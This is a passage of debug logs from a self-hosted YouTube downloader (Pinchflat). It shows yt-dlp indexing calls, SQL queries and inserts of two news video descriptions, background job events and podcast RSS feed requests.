= 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [24] 17:38:34.740 [debug] Current batch of media processed. Will check again in 1000ms 17:38:35.742 [debug] Current batch of media processed. Will check again in 1000ms 17:38:36.743 [debug] Current batch of media processed. Will check again in 1000ms 17:38:37.746 [debug] Current batch of media processed. Will check again in 1000ms 17:38:38.747 [debug] Current batch of media processed. Will check again in 1000ms 17:38:39.387 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLrRjLdo_f3RuXWrY_jpzwW7v8Afo2pQ3C --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/music/%(artist,creator,uploader,uploader_id)S/%(title)S.%(ext)S --extract-audio --format-sort +acodec:mp3 --audio-format mp3 --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/ef/d2/efd298df39f78ebfffa59ef400679cd73f9e0b447a85f806f44b6dc71f6c4c71.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 17:38:39.390 [debug] Gracefully stopping file follower 17:38:39.391 [debug] QUERY OK source="sources" db=1.4ms queue=0.2ms idle=1062.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 17:38:39.393 [debug] QUERY OK source="sources" db=1.3ms queue=0.1ms idle=1064.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:38:39.396 [debug] QUERY OK source="media_items" db=2.5ms idle=1066.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 10:22:42Z], 1] 17:38:39.563 [debug] QUERY OK source="media_items" db=165.5ms queue=0.1ms idle=1069.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "e791f4d5-f930-4208-a0c8-aab3bb7bd114", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", 1, "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, false, false, 1, [], 1, ~U[2026-01-08 10:22:42Z], ~U[2026-01-10 17:38:39Z], ~U[2026-01-10 17:38:39Z], "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, 1, ~U[2026-01-08 10:22:42Z]] 17:38:39.571 [debug] QUERY OK source="sources" db=1.2ms queue=0.4ms idle=178.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:38:39.573 [debug] QUERY OK source="media_items" db=0.7ms queue=0.6ms idle=178.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-09 07:36:51Z], 1] 17:38:39.697 [debug] QUERY OK source="media_items" db=122.1ms idle=177.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", "63d399af-ec69-4944-a293-d594d7fe943a", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", 2, "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, false, false, 1, [], 1, ~U[2026-01-09 07:36:51Z], ~U[2026-01-10 17:38:39Z], ~U[2026-01-10 17:38:39Z], "India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, 1, ~U[2026-01-09 07:36:51Z]] 17:38:39.702 [debug] QUERY OK source="sources" db=1.1ms queue=0.6ms idle=260.7ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-01-10 17:38:39Z], ~U[2026-01-10 17:38:39Z], 1] 17:38:39.874 [debug] QUERY OK source="media_items" db=1.3ms queue=0.2ms idle=307.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 17:38:39.882 [debug] QUERY OK source="media_items" db=1.2ms queue=0.2ms idle=309.0ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 17:38:39.887 [debug] QUERY OK source="media_items" db=2.1ms queue=0.2ms idle=311.5ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 17:38:39.936 [debug] QUERY OK source="tasks" db=0.3ms idle=63.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [90, 1, ~U[2026-01-10 17:38:39Z], ~U[2026-01-10 17:38:39Z]] 17:38:39.938 [info] {"args":{"id":1},"id":89,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":15553679,"event":"job:stop","queue_time":643472,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 17:38:57.366 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 17:38:58.952 [info] {"source":"oban","duration":19631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:39:00.462 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:39:28.955 [info] {"source":"oban","duration":1204,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:39:58.957 [info] {"source":"oban","duration":1562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:40:00.464 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:40:28.960 [info] {"source":"oban","duration":1026,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:40:58.962 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:41:00.466 [info] {"source":"oban","duration":558,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:41:28.964 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:41:57.389 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 17:41:58.966 [info] {"source":"oban","duration":1403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:42:00.468 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:42:28.968 [info] {"source":"oban","duration":1463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:42:58.970 [info] {"source":"oban","duration":1351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:43:00.471 [info] {"source":"oban","duration":774,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:43:01.513 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 17:43:01.514 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 17:43:01.515 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=1187.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 17:43:01.517 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=1189.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 17:43:01.519 [debug] QUERY OK source="source_metadata" db=0.3ms idle=1191.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 17:43:01.610 [debug] QUERY OK source="media_metadata" db=90.1ms queue=0.1ms idle=1048.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 17:43:01.681 [info] Sent 200 in 167ms 17:43:10.354 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 17:43:10.355 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 17:43:10.357 [debug] QUERY OK source="sources" db=1.4ms queue=0.3ms idle=1028.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 17:43:10.359 [debug] QUERY OK source="media_items" db=0.6ms queue=0.6ms idle=1030.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 17:43:10.361 [debug] QUERY OK source="source_metadata" db=0.4ms queue=0.2ms idle=1033.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 17:43:10.362 [debug] QUERY OK source="media_metadata" db=0.6ms queue=0.2ms idle=1034.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 17:43:10.363 [info] Sent 200 in 8ms 17:43:28.972 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:43:58.974 [info] {"source":"oban","duration":1602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:44:00.472 [info] {"source":"oban","duration":520,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:44:28.977 [info] {"source":"oban","duration":982,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:44:58.979 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:45:00.474 [info] {"source":"oban","duration":504,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:45:28.981 [info] {"source":"oban","duration":1172,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:45:58.985 [info] {"source":"oban","duration":2350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:46:00.477 [info] {"source":"oban","duration":767,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:46:28.987 [info] {"source":"oban","duration":1328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:46:58.989 [info] {"source":"oban","duration":1432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:47:00.478 [info] {"source":"oban","duration":581,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:47:28.991 [info] {"source":"oban","duration":1630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:47:58.994 [info] {"source":"oban","duration":1161,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:48:00.480 [info] {"source":"oban","duration":539,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:48:14.384 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 17:48:14.386 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 17:48:14.388 [debug] QUERY OK source="sources" db=1.3ms idle=281.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 17:48:14.391 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=46.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 17:48:14.395 [debug] QUERY OK source="source_metadata" db=0.5ms idle=50.5ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 17:48:14.397 [debug] QUERY OK source="media_metadata" db=0.6ms queue=0.2ms idle=51.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 17:48:14.426 [info] Sent 200 in 41ms 17:48:28.996 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:48:41.667 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 17:48:41.668 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 17:48:41.669 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=1324.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 17:48:41.734 [debug] QUERY OK source="media_items" db=1.5ms queue=0.2ms idle=1368.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", 